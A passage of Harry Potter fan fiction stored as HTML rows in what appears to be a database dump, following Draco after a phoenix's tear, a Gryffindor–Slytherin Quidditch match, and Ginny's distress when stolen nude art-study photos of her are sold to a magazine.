Darker still yet to come. It&#8217;s not the time for petty rivalries.&quot;</p>\n\n<p></p>\n\n<p>&quot;I understand, Headmaster,&quot; Draco parroted the acceptable response, fully well aware that he had called him `Headmaster&#180; once again. Why the old man thought <i>he</i> could be trusted was unclear to him. Maybe he was being toyed with. Any fool knew that Lucius Malfoy was a Death Eater. And it was furthermore commonly known among the Hogwarts crowd that Draco was just as dark and unfeeling as his father. Draco revelled in their petty assumptions.</p>\n\n<p></p>\n\n<p>&quot;Do you truly understand, I wonder.&quot; Dumbledore faded back into his thoughts, obviously musing something carefully. &quot;You may go, young Malfoy.&quot;</p>\n\n<p></p>\n\n<p>Draco stood to leave but was instantly set upon by a large, scarlet-feathered bird. He tried to shove it off his shoulder but to no avail.</p>\n\n<p></p>\n\n<p>&quot;What does it want?&quot; he ground out, not caring anymore that he sounded hardly civil. The professor did nothing, merely waiting for what would happen next. The beautiful phoenix spread its wings and bent down to carefully rip open Draco&#8217;s fine, Egyptian cotton shirt with its beak.</p>\n\n<p></p>\n\n<p>&quot;Sir, get this thing off of me at once!&quot; Draco shouted, attempting in vain to push the bird away.</p>\n\n<p></p>\n\n<p>Dumbledore didn&#8217;t answer, didn&#8217;t move, still watching with hooded eyes as the bird finally revealed Draco&#8217;s pale chest under the remains of his white oxford. From the corner of its eye appeared a large, pearly drop of fluid, which seemed to hover a moment in the air before splashing on Draco&#8217;s skin.</p>\n\n<p></p>\n\n<p>From the instant of contact, Draco felt a burning where the tear had fallen. Heat radiated and spread out to every pore of his body. Light-headed, he fell back against the chair and grabbed his aching chest in one hand. The bird sent out a keen of song that further aggravated Draco&#8217;s sensitive brain before flying off to land on top of a large cage in the corner of the room.</p>\n\n<p></p>\n\n<p>&quot;What did it <i>do</i> to me?&quot; Draco cried, still clutching his chest with a violently trembling hand.</p>\n\n<p></p>\n\n<p>&quot;I&#8217;m sorry, my boy,&#8221; Dumbledore answered mildly. &#8220;I don&#8217;t like to bother Fawkes when he is keen on doing something. That was only a tear that you felt. Apparently he felt you in need of healing.&quot;</p>\n\n<p></p>\n\n<p>&quot;Healing?&quot; Draco whispered furiously, looking down to see if there was actually a wound where the tear fell. There was none. &quot;I&#8217;m burning all over!&quot;</p>\n\n<p></p>\n\n<p>There was a twinkle in Dumbledore&#8217;s eye that Draco almost missed. &quot;You may want to see Madame Pomfrey then. It&#8217;s possible you are allergic to phoenix tears.&quot;</p>\n\n<p></p>\n\n<p>&quot;Y-yes,&#8221; Draco whispered, hating the way his voice trembled. &#8220;I think I&#8217;ll do that. Am I dismissed?&quot;</p>\n\n<p></p>\n\n<p>&quot;Of course, go and see Poppy now. Maybe she can help.&quot;</p>\n\n<p></p>\n\n<p>Draco nodded dumbly and stood to leave. How he managed to stumble to the Infirmary, he hadn&#8217;t the faintest clue. He only knew that there was a roaring fire in his chest, and his brain fairly exploded in full sensory overload as each sound, each step he took, every drip of water down the cool, stone walls crashed against him like waves breaking on shore.</p>\n\n<p></p>\n\n<p>Madame Pomfrey checked him over, placing a wonderfully cool hand on his feverish brow before clucking her tongue and sending him straight to a standard bed.</p>\n\n<p></p>\n\n<p>It was only after she had administered a very pungent, foul-tasting potion that he was allowed to rest. The thunder in his head was dulling, as if someone had pulled up a blanket to shroud his mind. Sighing half-contented, Draco drifted off to sleep.</p>\n\n</font><font size="2"><p></p>\n\n<p></p>\n\n<p></p>\n\n</font><b><font size="4"><p>Reviewing is good for the soul.</p></font></b>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 2, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour&#8217;s Notes: To my beta readers, Claire and Alexis, who are the only ones out of the multitude I started with to stay with me thus far. I love you girls!</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>It was two days before Draco felt confident enough to attend classes again. The burning had faded into slight and ever-present warmth surrounding his extremities. A light buzzing was the only trace that there had ever been such a massive rush to his tired brain. Madame Pomfrey assured Draco, in strangely unconfident tones that fell flat on Draco&#8217;s ears, that this was normal and it would fade soon enough on its own.</p>\n\n<p></p>\n\n<p>&#8216;Soon enough&#8217; never seemed to arrive though. The air in the dungeons where the Slytherin dormitories resided was damp and chill. It had bothered him before only in the way a stray hair that tickles your check would. Now it was warm because he was warm, and it brought a sense of foreboding each time he came down to sleep at night or study in the common room. He found himself looking over his shoulder, waiting for that damnable bird to attack him once more and finish the job it started in the Headmaster&#8217;s office.</p>\n\n<p></p>\n\n<p>It was for this reason that Draco decided to start studying in the library after classes were ended each day. Whenever he could, the lower levels of the castle were avoided except to sleep at night. The dungeons were supposed to be chill and damp, he muttered often to himself. Not warm, not sultry, not muggy with heat from his body.</p>\n\n<p></p>\n\n<p>Insomnia was yet another of the mysterious side-effects from a phoenix&#8217;s tear. Vivid images and flashes of colour connected to strange longings and fears hounded every waking moment, and par for the course, those which were not so much waking as sleepwalking.</p>\n\n<p></p>\n\n<p>Draco&#8217;s grades suffered for this; even in Potions where everyone knew he was the professor&#8217;s pet. Lack of concentration was also a concern in Quidditch where the Slytherin team was worked harder than ever at each practice, often not returning until late at night just before curfew was called.</p>\n\n<p></p>\n\n<p>Slytherin would open the season in the first game of the year against none other than Gryffindor. All players were required to be in top form and Draco clearly wasn&#8217;t.</p>\n\n<p></p>\n\n<p>He wasn&#8217;t looking forward to this game.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>In spite of being nary an inch over five feet, Ginny knew that she was considered one of the most remarkable Chasers the Gryffindor Quidditch team had seen in many a year.</p>\n\n<p></p>\n\n<p>She flew lightening quick, notwithstanding her ancient Cleansweep, dodging Bludgers with mad loops and swirls as if she had been born a bird and not a very small girl. Having six brothers who lived, ate, and breathed Quidditch helped tremendously in this regard, even if by doing so she was considered something of a tomboy.</p>\n\n<p></p>\n\n<p>Her sensible wool cap flew off after a particularly dangerous flip and she let her dark auburn curls blow behind her like a flag. She was well aware that the sun-lightened streaks of gold she&#8217;d carefully mixed through her hair with a charm made it apparent from a long distance that <i>she</i> was a Gryffindor. It was the first game of the season, Gryffindor versus Slytherin, and Ginny grinned as the crowd took note of this with wild applause.</p>\n\n<p></p>\n\n<p>&#8220;Ginny! Heads up!&#8221; Ron chucked the Quaffle in her general direction, confidant that she would catch it. Which she did of course, flying off toward the Slytherin goal and feinting to the left in order to confuse their Keeper. It was a very stupid move on his part, she thought, and Ginny allowed herself to grin only after she had sent the Quaffle past his right side. Oldest trick in the book.</p>\n\n<p></p>\n\n<p>Cheers went up from the stands as she circled the hoop in a lazy victory dance and sped down almost vertically to retrieve the ball. Millicent Bulstrode, one of Slytherin&#8217;s Chasers, beat her to the punch though and raced off across half of the pitch before Ginny could blink an eye.</p>\n\n<p></p>\n\n<p>Determined, Ginny leaned forward over her broom and was coming close to the centre hoop, the rest of the team far ahead attempting to cut Millicent off. Gregory Goyle of the Slytherin team was flying nearby however, Beater at the ready, and whacked a Bludger hard towards Ginny&#8217;s head for no apparent reason. Ginny&#8217;s eyes widened and she flew sharply up, closer to the central hoop in order to avoid it.</p>\n\n<p></p>\n\n<p>The Bludger missed its target, what she assumed was her head, and hit her broom handle instead, cracking the antique in half. Ginny felt it snap and started to fall before she made a wild leap and grabbed the centre ring with one hand.</p>\n\n<p></p>\n\n<p>Looking around, Ginny noticed that none of her team-mates were anywhere close, they had gathered near the Gryffindor post where Millicent was in a tangle of arms and feet with Seamus Finnigan. Ginny rolled her eyes and tightened her grip on the ring, the cold metal biting into the soft flesh of her palms.</p>\n\n<p></p>\n\n<p>Not even the announcer was aware of her predicament in all the commotion from across the pitch.</p>\n\n<p></p>\n\n<p>Breathing heavily, Ginny tried to pull herself up in order to better grip the wet, slippery ring. But she was positive0 that the weather and fate seemed against her that day. Ginny felt her one hand slip and she started to fall.</p>\n\n<p></p>\n\n<p>Shutting her eyes, Ginny silently prayed that she would fall on a soft, not terribly breakable part of her anatomy. She was jerked out of that plea by the feel of a broomstick beneath her, her breath lodged in her throat. The slight weight of her landing made the broom overbalance, sending it into a wild somersault while the person riding the broom clutched onto her from behind.</p>\n\n<p></p>\n\n<p>When it rebalanced, she took a moment to clear her head and glanced behind her, instantly wishing that she hadn&#8217;t.</p>\n\n<p></p>\n\n<p>&#8220;I didn&#8217;t know it was raining Weasleys today or I would have brought my brolly,&#8221; Malfoy snickered, his pale eyes gleaming and his face flushed with exertion. </p>\n\n<p></p>\n\n<p>Biting back a retort, Ginny sighed and turned to face the front. &#8220;Could you please fly me to the ground, Malfoy?&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Draco spared a glance around the pitch and noticed that Ginny&#8217;s team-mates were still embroiled in watching the mad dash for the Quaffle over at the Gryffindor end. </p>\n\n<p></p>\n\n<p> &#8220;I could . . .&#8221; he mused. &#8220;Or I could dump you here and see if you could make your own way down.&#8221;</p>\n\n<p></p>\n\n<p>He could hear her teeth grinding and she twisted the handle of his broom in her tiny hands, likely wishing that it was his neck. Draco grinned. &#8220;<i>Please</i>, fly me down, Malfoy.&#8221;</p>\n\n<p></p>\n\n<p>It was hardly a suitably phrased request.</p>\n\n<p></p>\n\n<p>&#8220;Since you asked so nicely.&#8221; Draco pushed the broom down into a steep, vertical dive, imagining her horrified face with a smirk as she gasped and leaned back. Apparently the littlest Weasley wasn&#8217;t so arsing confident when <i>she</i> wasn&#8217;t the one controlling the broom.</p>\n\n<p></p>\n\n<p>This felt better, Draco thought to himself. Just a little friendly torture between enemies. For the first time in weeks, his head was clear and he knew exactly what he was about.</p>\n\n<p></p>\n\n<p>They were about twenty feet above the ground when he saw it: the Snitch!</p>\n\n<p></p>\n\n<p>Draco nervously glanced behind him, noticing that the Gryffindors had finally realised their star Chaser was riding on <i>his</i> broom, but they were still far in the rear. Looking above and to the right was Potter, pushing forward and solely occupied with keeping the Snitch in sight and ignoring all else. Draco grinned in anticipation as a plan formed itself in his mind. Distraction, he learned at an early age, is the key to all spur-of-the-moment plans.</p>\n\n<p></p>\n\n<p>He pushed Ginny&#8217;s back until her chest was firmly planted in his broom handle, covering her body completely with his own. She gave only a muffled squeak and tried desperately to push him off. He moved his hands in front of hers and leaned closer, trying to build speed and conceal her bright red hair with his cloak. </p>\n\n<p></p>\n\n<p>The Snitch was so close he could almost taste it! Just above and ahead. Potter was closing in though, right behind him, hand stretched and seeking.</p>\n\n<p></p>\n\n<p>&#8220;Hold the broom steady or we&#8216;ll both go under!&#8221; Draco whispered to the thoroughly squashed Ginny under his chest. He didn&#8217;t wait to see if she replied, but brought his feet up to hold and stood carefully on the broom handle, deliberately using Ginny&#8217;s bottom for balance.</p>\n\n<p></p>\n\n<p>Potter pulled up swiftly beside Draco, his chin dropping when he finally saw Ginny clutching the broom under her for dear life and apparently being groped by his rival. The distraction was enough though, and it gave Draco the advantage he needed. The Snitch was already firm in his grasp! The tiny wings fluttering against his fingers, trying to escape, but he wouldn&#8217;t let it escape. Not ever again.</p>\n\n<p></p>\n\n<p>Trailing them closely was the entire Gryffindor team, murder in their gaze. Harry was the closest though, almost able to touch them. Draco sped off faster, allowing time for a victory loop-de-loop and a friendly smack to Ginny&#8217;s behind before touching the ground.</p>\n\n<p></p>\n\n<p>She fell over with a soft thud upon landing, grass brushing in sharp contrast to her reddened cheeks.</p>\n\n<p></p>\n\n<p>&#8220;It should rain Weasleys more often, apparently it&#8217;s a lucky omen,&#8221; Draco drawled, dusting off his cloak and staring at the prize in his hand with something close to disbelief as he studied the golden Snitch laying on top of his leather gloves. &#8220;Should have checked Trelawney&#8217;s forecast.&#8221;</p>\n\n<p></p>\n\n<p>Draco didn&#8217;t have much time to feel smug though when Harry and the rest of the Gryffindor team showed up.</p>\n\n<p></p>\n\n<p>&#8220;You&#8217;re dead, Malfoy!&#8221; Ron Weasley shouted, ignoring his sister who still lay huddled on the ground and shivering.</p>\n\n<p></p>\n\n<p>Draco turned around, allowing himself to coolly look the redhead up and down as if measuring his value. &#8220;Wrong, Weasley. <i>She&#8217;d</i> be dead if she hadn&#8217;t fallen on my broom. I thought you Gryffindors were all about <i>family</i> and bravery,&#8221; he sneered, even though he well knew that Ginny probably wouldn&#8216;t have died from the fall unless she landed on her neck. &#8220;But I suppose you wouldn&#8217;t have noticed if your precious sister nearly died because you were too busy being crammed up Millicent&#8217;s arse.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Son of a b<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Ron was only barely contained by Seamus and Harry, their arms wrapping around his torso from behind. But by the looks on their faces, it was obvious they weren&#8217;t terribly keen on holding him there. Time to go.</p>\n\n<p></p>\n\n<p>&#8220;Well, I suppose this little beauty put Slytherin in the lead for the Cup, eh?&#8221; Draco held the glinting Snitch up in the late autumn sun, inspecting it closely between thumb and forefinger before pocketing it. Madame Hooch be damned, he was going to keep this as a souvenir of his victory over Potter. Finally, something to write home about. &#8220;Later, losers.&#8221;</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>The Gryffindor common room was fairly quiet that evening. Rain pelted the windows and lent a dull grey cast over what was a normally colourful room.</p>\n\n<p></p>\n\n<p>Seamus and Ron were playing chess in a dreary corner and Hermione was reading a book so close to the fire that her hair crackled on occasion from contact with the heat. Ginny reclined on a sofa, covered by her cloak and staring into the flames. Everyone else was either studying or out on the Quidditch pitch receiving a harsh lecture about teamwork and several laps around the field courtesy of their Captain, Mr Harry Potter.</p>\n\n<p></p>\n\n<p>Somewhere inside, she knew that no one blamed her for what had happened earlier that day. Brooms break and Malfoy always was a rotten tosser, so that wasn&#8217;t anything new. But fear . . . that was something else entirely. Ginny felt sure that she could have kept Malfoy from getting the Snitch if she had only had the temerity to make him lose his balance or fly the broom closer to the ground. But fear kept her from it and the game was lost. Not only that, but the slimy little git actually managed to get house points for keeping her from breaking her neck!</p>\n\n<p></p>\n\n<p>She had been so terrified after the match that Harry had been forced to send her to the common room with Ron and Seamus half-carrying her into the warmth it promised. At least it had given them an excuse to stay out of the rain.</p>\n\n<p></p>\n\n<p>There had been no control, it wasn&#8217;t her broom and he had<font face="Times New Roman">&#8212;</font> Ginny stopped and shuddered as she recalled Malfoy&#8217;s hand steadying himself by grasping her bottom in his hot fingers.</p>\n\n<p></p>\n\n<p>It was peculiar though. Malfoy had always struck her as someone who would be just frostbitten as his attitude, skin cool like a snake. Instead they had burned her even through the thick padding of robes and corduroy trousers. Ginny almost wondered if he had branded his handprints into her backside.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m going to take a shower, Ron,&#8221; Ginny murmured as she stood and stretched, walking towards the sixth-year baths. Ron grunted his assent and waved a hand in her general direction to show that he had heard her.</p>\n\n<p></p>\n\n<p>Stripping down, Ginny felt the need to check just to make sure there was no visible sign of Draco Malfoy&#8217;s ferret-like fingers on her body. There were none, as expected. And though the rational part of her knew it was foolish, the emotional side stated that it was necessary to bathe his indelible presence away.</p>\n\n<p></p>\n\n<p>The showers were soon steaming, curling her hair about her face, and suddenly Ginny felt ill at ease. It wasn&#8217;t helping anything but was in fact making the sense of Draco Malfoy&#8217;s aura even stronger.</p>\n\n<p></p>\n\n<p>Disgusted, Ginny turned off the showers and put her dirty uniform back on. Maybe a nap before supper would help. With this thought in mind, she trundled down the hall to the sixth-year dormitories and fell onto the soft, feather mattress of her bed.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>Harry was thoroughly worn out and drenched to the skin when he came through the portrait hole and into the common room some hours after dusk.</p>\n\n<p></p>\n\n<p>Ron was playing a game of chess in the corner with Seamus, and Hermione was reading as always before the backdrop of a roaring fire. No one else was around as his team-mates had already retired to the shower rooms just off the pitch.</p>\n\n<p></p>\n\n<p>Harry sighed and flopped down in front of the fire, accidentally hitting Hermione\'s book with one hand. He could see her blink with her mouth open to make a comment from the corner of his eye, and he looked up to see her studying him. Her lips closed quickly and her eyes softened.</p>\n\n<p></p>\n\n<p>&quot;Harry, are you all right?&quot; Hermione laid a hand on his arm in concern. He flinched, not expecting her to touch him.</p>\n\n<p></p>\n\n<p>&quot;Nothing much, I just have a bad feeling about this year. It\'s been too quiet for too long and it seems like everywhere I look there are signs of bad things to come.&quot; A log in the fireplace splintered loudly, appearing to confirm his fears. Hermione only sniffed in disgust.</p>\n\n<p></p>\n\n<p>&quot;You\'ve been in Professor Trelawney\'s class for too long. That old crackpot has been filling your head with nonsense for years and it\'s finally started to sink in. You should have dropped Divination ages ago.&quot;</p>\n\n<p></p>\n\n<p>Harry crossed his arms and scowled, making Hermione drop her hand to the rough hearthstone. &quot;I\'m not talking about real signs. It\'s just . . . I have a horrible feeling that Voldemort will chose this year to strike.&quot;</p>\n\n<p></p>\n\n<p>Hermione looked toward the ceiling, not quite rolling her eyes, but the message was clear. &quot;You said the same thing last year and the year before that. Honestly, Harry, you need to calm down.&quot;</p>\n\n<p></p>\n\n<p>He furrowed his brow and leaned forward almost menacingly. &quot;How can I calm down?&quot; he asked in a deceptively calm voice. &quot;Voldemort is always there, and if he isn\'t, there is something else: Death Eaters, Basilisks, evil professors. I <i>want</i> to calm down.&quot;</p>\n\n<p></p>\n\n<p>&quot;Yes, he is always a threat, things could go wrong at any time. But you can\'t live your life in fear of retaliation!&quot; Her usually quiet voice was starting to become shrill as more words poured forth. Ron and Seamus looked up from their game in the corner and were watching the exchange silently. &quot;I don\'t care if you want to ignore me and sit in your room, drinking Fire Whiskey every night and fail all of your classes because <i>I\'m</i> not going to put up with it anymore. When you decide to grow up, I\'ll be here. But until then, I\'m not talking to you. I can\'t watch you do this anymore.&quot; Her lip trembled slightly and there was a crack in her voice as she said the last word.</p>\n\n<p></p>\n\n<p>Hermione stood swiftly and grabbed her book, stomping up the stairs as fast as her short legs could carry her. Harry was about to go after her, but decided to let her cool off instead. He raked a shaking hand through his wet hair and closed weary eyes against the fire, which was making them dry up and sting.</p>\n\n<p></p>\n\n<p>If Harry had looked up at that moment, he would have seen the glint of dark amusement from two eyes hidden in the shadows.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It had been two weeks since the infamous Quidditch match against Slytherin and Ginny was beginning to feel normal again. Hermione and Harry apparently had had a falling out and that left she and Ron to pick up the pieces. One of them was always with Hermione, talking to her between classes or asking for help with assignments. The best way to keep Hermione from withdrawing completely was to make her concentrate on schoolwork. Harry, of course, kept himself company with a bottle of Ogden\'s Fire Whiskey, like always. This did nothing for Hermione&#8217;s nerves of course, and lately she had been even worse company than before, petulantly snapping at anything with or without a pulse.</p>\n\n<p></p>\n\n<p>Ginny had been up late the night before, studying for her Potions exam, so she was yawning as she made her way into the Great Hall for breakfast. The effect of her lazy stretches was startling on the entire male population. They all stopped to stare at her, whispering furiously behind hands to their fellows. Ginny pretended not to notice, deciding that it must be because of the <i>incident</i>, even though that was ages ago.<i>\n\n</i>She plopped down into her seat and grabbed a piece of toast, liberally smearing it with butter and jam.</p>\n\n<p></p>\n\n<p>Hermione was sitting beside her instead of at her usual place between Harry and Ron. She also noticed the furtive glances and giggling, for once not as caught up in her own problems. &quot;Ginny, why is everyone staring at you?&quot; she whispered.</p>\n\n<p></p>\n\n<p>Ginny looked around, dropping her toast when she became aware that <i>everyone</i> was staring at her, not just Slytherin house. The entire Hall gave a guilty jerk and went back to eating their breakfasts.</p>\n\n<p></p>\n\n<p>&quot;I-I haven\'t the faintest, Hermione.&quot; Ginny was shaking. It was first year all over again. The whispers, the stares, the look of disappointment from others at their table. What did she <i>do</i>?</p>\n\n<p></p>\n\n<p>&quot;Are you sure?&quot; Hermione prodded.</p>\n\n<p></p>\n\n<p>&quot;Yes, I\'m sure. I haven\'t done anything.&quot;</p>\n\n<p></p>\n\n<p>Suddenly there was a roar of applause when almost every boy in the Hall stood up and shouted praise as Colin Creevey came skidding in to breakfast. He gawped about, panic etched clearly into his skin. Everyone laughed and sat back down to enjoy their meal.</p>\n\n<p></p>\n\n<p>Ginny glanced up into his startled eyes as he raced over to her chair and started trying to drag her out of it by force. She slammed down her fork and pushed him away. &quot;Colin! What on earth are you doing?&quot;</p>\n\n<p></p>\n\n<p>He didn\'t stop though, but became more insistent as words poured out. &quot;I need to talk to you, it\'s urgent.&quot;</p>\n\n<p></p>\n\n<p>Ginny looked back down at her plate while she absently plucked his shaking hand off of her arm. &quot;Whatever it is, you can say in front of Hermione, she can keep a secret.&quot;</p>\n\n<p></p>\n\n<p>Colin shook his head. &quot;No, this is something about you, not just me.&quot;</p>\n\n<p></p>\n\n<p>&quot;Go on, Ginny. Obviously it\'s important.&quot;</p>\n\n<p></p>\n\n<p>Ginny gave Hermione a sceptical glance. &quot;Are you sure?&quot;</p>\n\n<p></p>\n\n<p>&quot;Yes, go ahead, I\'ll be fine.&#8221; The corners of her mouth quirked up wryly. &#8220;You don&#8216;t need to suffer my infantile temper anymore than you do already.&quot;</p>\n\n<p></p>\n\n<p>This was all the assurance Colin needed and he proceeded to drag Ginny out of the Hall and into a disused classroom. He spared a glance around the room, looking for intruders. His entire body was shaking and for the first time, Ginny was truly worried about him.</p>\n\n<p></p>\n\n<p>&quot;Colin?&quot; she placed a hand on his chest, feeling his heart beat rapidly against her palm. &quot;What\'s the matter?&quot;</p>\n\n<p></p>\n\n<p>&quot;What\'s the matter? You wouldn\'t ask that so calmly if you knew what has happened.&quot;</p>\n\n<p></p>\n\n<p>&quot;What?&quot; Ginny&#8216;s eyes widened.</p>\n\n<p></p>\n\n<p>Colin took a deep breath and closed his eyes. &quot;Someone stole my portfolio.&quot;</p>\n\n<p></p>\n\n<p>Ginny gasped and took a step back. All of the stares she had been getting this morning at breakfast were suddenly making sense and she knew without having to ask. &quot;Why didn\'t you tell me before? D-did they . . .&quot;</p>\n\n<p></p>\n\n<p>Colin nodded. &quot;It\'s worse than that though, Gin. Whoever stole it sold some of the pictures.&quot;</p>\n\n<p></p>\n\n<p>She felt certain that her eyes were the approximate size of dinner plates. &quot;Sold! Sold to who?&quot;</p>\n\n<p></p>\n\n<p>Colin backed up a few paces, seemingly ready to physically defend himself against her notorious wrath. &quot;<i>Playwizard</i> magazine.&quot;</p>\n\n<p></p>\n\n<p>&quot;<i>Playwizard</i>!&quot; she screeched, her throat suddenly raw from the force. &quot;Someone sold your nude studies to <i>Playwizard</i>!&quot;</p>\n\n<p></p>\n\n<p>Ginny paced up and down the room, barely restraining herself from taking her anger out on Colin. Who would do such a thing? &quot;What about the pictures of Padma and Parvati?&quot;</p>\n\n<p></p>\n\n<p>Colin shrugged. &quot;I don\'t know. They aren\'t in the magazine though, it\'s just you.&quot;</p>\n\n<p></p>\n\n<p>She sneered, &quot;How thoughtful of them.&quot;</p>\n\n<p></p>\n\n<p>&quot;I\'m sorry, Gin.&quot;</p>\n\n<p></p>\n\n<p>&quot;Sorry? You\'re <i>sorry</i>? My life is ruined because I wanted to help you get into art school and you\'re <i>sorry</i>!&quot;</p>\n\n<p></p>\n\n<p>&quot;I didn\'t know! I thought that they would be safe. And your life isn\'t ruined. People will forget about this eventually, Gin. Just give it some time. It&#8216;s not as if you were <i>completely</i> unclothed. Just, erm, mostly.&quot;</p>\n\n<p></p>\n\n<p>Ginny covered her face in a lattice of trembling fingers. &quot;What will my mum say? And all the boys in school are probably ogling me this very minute.&quot; She straightened up and she could see the homicide written clear in her eyes just from looking at his face. Colin skirted back a little further. &quot;I want to know who did this, and then I\'m going to kill them.&quot;</p>\n\n<p></p>\n\n<p>Her voice had been quiet, but there was determination and a very dangerous fury, which belied the silence that stretched between the two friends. Colin edged forward and placed a gentle hand on her shoulder. &quot;If it\'ll make you feel better, you can tell everyone <i>my</i> little secret.&quot;</p>\n\n<p></p>\n\n<p>Ginny glanced up at Colin, startled. Yeah, she was getting stared at, and later on it would probably progress into catcalls and pinches to her backside. But Colin . . . he would probably be beaten on a daily basis and called names she couldn\'t bear thinking about. She put an arm about his waist and squeezed.</p>\n\n<p></p>\n\n<p>&quot;Oh no, Colin. I couldn\'t possibly do that to you. They would eat you alive.&quot;</p>\n\n<p></p>\n\n<p>Colin\'s lips twisted wryly, his forehead beaded with sweat. &quot;No worse than what they are going to do to you.&quot;</p>\n\n<p></p>\n\n<p>&quot;No, it would be <i>much</i> worse. Believe me about that. This isn&#8216;t your Muggle world, I&#8216;m afraid.&quot; Ginny sighed and rested her head on his chest, all her anger at him melting. &quot;Poor Colin.&quot;</p>\n\n<p></p>\n\n<p>He laughed. &quot;Poor Colin? How you can hug me after what I\'ve let happen is beyond my ability to know. You truly are a saint.&quot;</p>\n\n<p></p>\n\n<p>Ginny scoffed and smacked his arm in a playful manner. &quot;I\'m hardly a saint. Come on, we need to get back to the Hall and have some breakfast. Something tells me that this is going to be a <i>long</i> day.&quot;</p>\n\n<p></p>\n\n<p></p>\n\n<p>\n\n<b>Reviewing is good for your soul, and mine, too!</b></p></font>\n\n</font></blockquote><font size="4" face="Garamond">\n\n '),
	(271, 3, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">&#8220;Ginny!&#8221;</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p>She groaned. Ron was pounding up the stairs to the girl&#8217;s dormitories at a furious pace, bellowing her name as he went along. There was no use in hiding from him, they were brother and sister and eventually would have to see each other again. Stupid arse wouldn&#8217;t even let her bathe in peace.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;m in the <i>bath</i>, Ron.&#8221;</p>\n\n<p></p>\n\n<p>Stomp, stomp, stomp, <i>slam</i>! Ron stood in the doorway, red-faced and brandishing a magazine, not noticing that she was in a state of undress. Fortunately for her, bubbles were covering the most important parts.</p>\n\n<p></p>\n\n<p>&#8220;Can I help you?&#8221; Ginny asked acidly.</p>\n\n<p></p>\n\n<p>&#8220;Sweet Merlin, cover yourself!&#8221; Ron raced over with a towel and attempted to wrap it around her shoulders.</p>\n\n<p></p>\n\n<p>She batted it away with one hand. &#8220;Why bother, everyone&#8217;s seen me in less than this already.&#8221;</p>\n\n<p></p>\n\n<p>If it were possible, Ron&#8217;s face turned a more violent shade of purple and a vein throbbed on his neck in an interesting manner. He indicated the magazine by a shake of his hand.</p>\n\n<p></p>\n\n<p>&#8220;Care to explain <i>this</i> to me?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Not really, but since I know you won&#8217;t let me finish my bath until I do . . .&#8221; Ginny tossed her head to the side, bubbles half-covering her face. &#8220;Colin needed nude studies to complete his portfolio for art school. So I helped him out. I didn&#8217;t know that someone stole the pictures last week.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;That&#8217;s just what he told you.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; Ginny disagreed vehemently. &#8220;You don&#8217;t even <i>know </i>him. Colin would never do that to me. Besides, the pictures of Padma and Parvati aren&#8217;t in there.&quot; She pointed at the magazine with a dripping finger. &#8220;So this was done to get me personally.&#8221;</p>\n\n<p></p>\n\n<p>Ron&#8217;s eyes widened. &#8220;Padma and Parvati posed for him too? I&#8217;m gonna kill the poncy little<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>Ginny&#8217;s eyes flashed in anger. &#8220;Don&#8217;t you <i>dare</i> call him that!&#8221;</p>\n\n<p></p>\n\n<p>Ron was quiet for a moment, breathing deeply of the steamy air through his nose. Something in his expression broke and he started forward. &#8220;Gin, whoever did this is going to pay. If you say that Colin didn&#8217;t do this, then I believe you. But I&#8217;m still going to have a talk with him. I don&#8217;t want to know what you and he are on about, and I don&#8217;t<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;He&#8217;s gay, Ron,&#8221; Ginny cut him off wearily. &#8220;He is nothing but my very best friend.&#8221;</p>\n\n<p></p>\n\n<p>Ron&#8217;s eyes grew even larger. &#8220;He&#8217;s <i>gay</i>? But all of those girls that he&#8217;s been with . . .&#8221;</p>\n\n<p></p>\n\n<p>&#8220;He says it is pretty common behaviour before someone realises they like people of the same gender. I&#8217;ve done a lot of research and have tried to be there for him the best I could. Don&#8217;t you dare go and open your mouth now.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I won&#8217;t, I promise. But if he didn&#8217;t<font face="Times New Roman">&#8212;</font> &#8221; Ron&#8217;s face flushed an even deeper shade of red. &#8220;Malfoy,&#8221; he ground out.</p>\n\n<p></p>\n\n<p>Ginny rolled her eyes. &#8220;You always go back to him when something goes wrong. How on earth would he know about, much less be able to steal, Colin&#8217;s pictures?&#8221;</p>\n\n<p></p>\n\n<p>Ron&#8217;s hands wrung themselves over and over before fisting and dropping to his sides. &#8220;I don&#8217;t know, but I&#8217;m going to find out.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Then by all means, find out if you can. But can I please finish my bath?&#8221; The bubbles were starting to disappear and soon there would be nothing left to cover her naughty bits but the clear water. Ron nodded, deep in contemplation, and closed the door, leaving Ginny to her thoughts.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~* Chapter Three</p>\n\n<p></p>\n\n<p></p>\n\n<p>The next day, Ginny ventured out into the hallways with her head held high. She had taken extra care with her appearance that morning. Liberally covering her face with Lockhart&#8217;s Fabulous Freckle Fader and applying the small amount of paint charms she used with special precision. It wouldn&#8217;t do for her to look as if all of the gossip was affecting her sleep, which it 